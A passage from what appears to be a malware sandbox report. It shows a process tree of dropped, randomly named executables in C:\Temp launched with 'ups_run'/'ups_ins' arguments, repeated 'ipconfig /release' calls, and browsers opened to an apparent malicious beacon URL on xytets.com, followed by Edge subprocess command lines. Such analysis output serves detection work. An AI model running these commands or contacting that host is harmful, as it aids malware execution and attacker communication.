      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5528
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5708
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6000
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gezwrpjhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:436
  - - C:\Temp\i_gezwrpjhbz.exe
      C:\Temp\i_gezwrpjhbz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bzwqoljdbw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5508
  - - C:\Temp\bzwqoljdbw.exe
      C:\Temp\bzwqoljdbw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3444
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4568
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bzwqoljdbw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4396
  - - C:\Temp\i_bzwqoljdbw.exe
      C:\Temp\i_bzwqoljdbw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigbytqlj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1208
  - - C:\Temp\qoigbytqlj.exe
      C:\Temp\qoigbytqlj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1688
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5960
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3916
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigbytqlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2540
  - - C:\Temp\i_qoigbytqlj.exe
      C:\Temp\i_qoigbytqlj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigaxvtqk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3000
  - - C:\Temp\qoigaxvtqk.exe
      C:\Temp\qoigaxvtqk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3736
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:600
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigaxvtqk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5556
  - - C:\Temp\i_qoigaxvtqk.exe
      C:\Temp\i_qoigaxvtqk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4988
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxvqnigays.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5512
  - - C:\Temp\dxvqnigays.exe
      C:\Temp\dxvqnigays.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3688
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6048
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxvqnigays.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1812
  - - C:\Temp\i_dxvqnigays.exe
      C:\Temp\i_dxvqnigays.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2468
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snkicausnk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2324
  - - C:\Temp\snkicausnk.exe
      C:\Temp\snkicausnk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5552
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2528
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snkicausnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2716
  - - C:\Temp\i_snkicausnk.exe
      C:\Temp\i_snkicausnk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2868
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mhecxusmkh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1180
  - - C:\Temp\mhecxusmkh.exe
      C:\Temp\mhecxusmkh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3492
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5496
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2656
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mhecxusmkh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2356
  - - C:\Temp\i_mhecxusmkh.exe
      C:\Temp\i_mhecxusmkh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2700
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpjhurmkec.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3552
  - - C:\Temp\rpjhurmkec.exe
      C:\Temp\rpjhurmkec.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3620
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6008
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpjhurmkec.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3668
  - - C:\Temp\i_rpjhurmkec.exe
      C:\Temp\i_rpjhurmkec.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4388
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rmjecwuomg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2872
  - - C:\Temp\rmjecwuomg.exe
      C:\Temp\rmjecwuomg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1832
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1476
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rmjecwuomg.exe ups_ins
    3⤵
    PID:704
  - - C:\Temp\i_rmjecwuomg.exe
      C:\Temp\i_rmjecwuomg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2564
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ojdbwtomge.exe ups_run
    3⤵
    PID:2700
  - - C:\Temp\ojdbwtomge.exe
      C:\Temp\ojdbwtomge.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1700
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2024
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ojdbwtomge.exe ups_ins
    3⤵
    PID:5572
  - - C:\Temp\i_ojdbwtomge.exe
      C:\Temp\i_ojdbwtomge.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3248
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgeywqoigb.exe ups_run
    3⤵
    PID:5988
  - - C:\Temp\lgeywqoigb.exe
      C:\Temp\lgeywqoigb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5704
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4316
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lgeywqoigb.exe ups_ins
    3⤵
    PID:1780
  - - C:\Temp\i_lgeywqoigb.exe
      C:\Temp\i_lgeywqoigb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtolgdywqo.exe ups_run
    3⤵
    PID:2888
  - - C:\Temp\vtolgdywqo.exe
      C:\Temp\vtolgdywqo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:884
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4848
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtolgdywqo.exe ups_ins
    3⤵
    PID:4076
  - - C:\Temp\i_vtolgdywqo.exe
      C:\Temp\i_vtolgdywqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lfdyvqkida.exe ups_run
    3⤵
    PID:2572
  - - C:\Temp\lfdyvqkida.exe
      C:\Temp\lfdyvqkida.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:696
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:552
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3824
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lfdyvqkida.exe ups_ins
    3⤵
    PID:4452
  - - C:\Temp\i_lfdyvqkida.exe
      C:\Temp\i_lfdyvqkida.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2032
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfdavsnkic.exe ups_run
    3⤵
    PID:5736
  - - C:\Temp\hfdavsnkic.exe
      C:\Temp\hfdavsnkic.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3888
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5908
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4444
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfdavsnkic.exe ups_ins
    3⤵
    PID:4448
  - - C:\Temp\i_hfdavsnkic.exe
      C:\Temp\i_hfdavsnkic.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5636
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fzxspnhfax.exe ups_run
    3⤵
    PID:1400
  - - C:\Temp\fzxspnhfax.exe
      C:\Temp\fzxspnhfax.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4796
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3636
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2420
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fzxspnhfax.exe ups_ins
    3⤵
    PID:3464
  - - C:\Temp\i_fzxspnhfax.exe
      C:\Temp\i_fzxspnhfax.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5316
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhczuspnh.exe ups_run
    3⤵
    PID:2932
  - - C:\Temp\pjhczuspnh.exe
      C:\Temp\pjhczuspnh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1212
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2156
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4296
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhczuspnh.exe ups_ins
    3⤵
    PID:1788
  - - C:\Temp\i_pjhczuspnh.exe
      C:\Temp\i_pjhczuspnh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmheczurp.exe ups_run
    3⤵
    PID:3544
  - - C:\Temp\rpmheczurp.exe
      C:\Temp\rpmheczurp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3384
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1000
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmheczurp.exe ups_ins
    3⤵
    PID:5656
  - - C:\Temp\i_rpmheczurp.exe
      C:\Temp\i_rpmheczurp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebwuomgeyw.exe ups_run
    3⤵
    PID:5312
  - - C:\Temp\ebwuomgeyw.exe
      C:\Temp\ebwuomgeyw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1908
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3400
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebwuomgeyw.exe ups_ins
    3⤵
    PID:2568
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x35c,0x7fffd929c188,0x7fffd929c194,0x7fffd929c1a0
      4⤵
      PID:5676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1692,i,10829563753405248291,10589070010405244941,262144 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:2
      4⤵
      PID:5608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,990073353647857199,7714176667368494085,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:11
      4⤵
      System Time Discovery
      PID:3460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2540,i,1142462002284036218,14363713027137006942,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:13
      4⤵
      PID:1144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3620,i,7583871215803522201,11493636074714324679,2097152 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
      4⤵
      PID:6084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3624,i,8234674959026498517,9667296426194084186,2097152 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:1
      4⤵
      PID:620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4240,i,10221563684154555443,1595134885510716000,2097152 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
      4⤵
      PID:3576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,4445988056494002386,2330550321432387217,2097152 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:9
      4⤵
      PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,7690049311696179957,2755971563626784119,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:14
      4⤵
      PID:6036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5212,i,7870249388225481810,9051898481110675902,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
      4⤵
      PID:4860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5464,i,3846341454331387914,9983542590687463744,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:14
      4⤵
      PID:3380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,8410277345279137685,7599393821768347289,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:14
      4⤵
      PID:6140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6024,i,8410277345279137685,7599393821768347289,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:14
      4⤵
      PID:1244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5976,i,17929982867586018492,9692158309562972884,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:14
      4⤵
      PID:708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6260,i,14289813711659154029,13061698446440598851,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
      4⤵
      PID:1848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4704,i,2693710883132515699,3853359150509270046,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:14
      4⤵
      PID:2328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4752,i,13723137379060368783,15457625937816717271,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
      4⤵
      PID:1124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3728,i,12902458699174585657,17681750546684158565,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:14
      4⤵
      PID:5552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,17864052007930364089,15931294157653938977,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:14
      4⤵
      PID:4328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,7457124585338673898,11333453020343234960,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:14
      4⤵
      PID:988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6232,i,8406264560707192190,1026062364277201056,524288 --field-trial-handle=2324,i,499122503680319289,14518271029989940109,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:14
      4⤵
      PID:2464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
